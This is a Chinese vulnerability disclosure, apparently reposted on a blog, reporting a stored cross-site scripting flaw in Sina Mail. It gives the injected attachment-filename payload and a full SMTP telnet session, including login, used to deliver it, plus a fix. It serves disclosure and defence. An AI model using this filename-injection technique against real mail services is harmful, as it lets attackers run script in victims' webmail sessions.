新浪邮箱存在存储类型跨站脚本漏洞

漏洞详情

披露状态:

2010-07-23: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-11: 细节向核心白帽子及相关领域专家公开
1970-01-21: 细节向普通白帽子公开
1970-01-31: 细节向实习白帽子公开
2010-08-23: 细节向公众公开

简要描述:

新浪邮件某功能未正确过滤提交的数据导致跨站脚本攻击

详细说明:

通过SMTP发送DATA字段
</code>
------_=_NextPart_001_01CAC74B.52CBABC0
Content-Type: application/octet-stream;
name="findshell.exe;<img src=1 οnerrοr=alert(3)>"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="findshell.exe;<img src=1 οnerrοr=alert(3)>"
</code>
到服务器, 可导致在WEB页面正文输出的时候产生跨站脚本漏洞.

漏洞证明:

telnet smtp.sina.com.cn
helo world
250 irxd5-187.sinamail.sina.com.cn
auth login
334 VXNlcm5hbWU6
NTFuNA==
334 UGFzc3dvcmQ6
YXNkZmFzZGY=
235 #2.0.0 OK Authenticated
mail from:<51n4@sina.com>
250 sender <51n4@sina.com> ok
rcpt to:<51n4@sina.com>
250 recipient <51n4@sina.com> ok
data
354 go ahead
Return-Path: <51n4@sina.com>
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----_=_NextPart_001_01CAC74B.52CBABC0"
Subject: welcome to use Microsoft Live Messenger
Date: Fri, 19 Mar 2010 18:02:45 +0800
Message-ID: <9C8377EC429C3B4FA12C4CA87E18922601137EB6@exchange.microsoft.com>
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator:
From: "AD" <51n4@sina.com>
To: <51n4@sina.com>
This is a multi-part message in MIME format.
....................................
------_=_NextPart_001_01CAC74B.52CBABC0
Content-Type: application/octet-stream;
name="findshell.exe;<img src=1 οnerrοr=alert(3)>"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="findshell.exe;<img src=1 οnerrοr=alert(3)>"
...................................
.
250 ok: Message 154992874 accepted

修复方案:

在输出内容的时候做HTML编码过滤.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值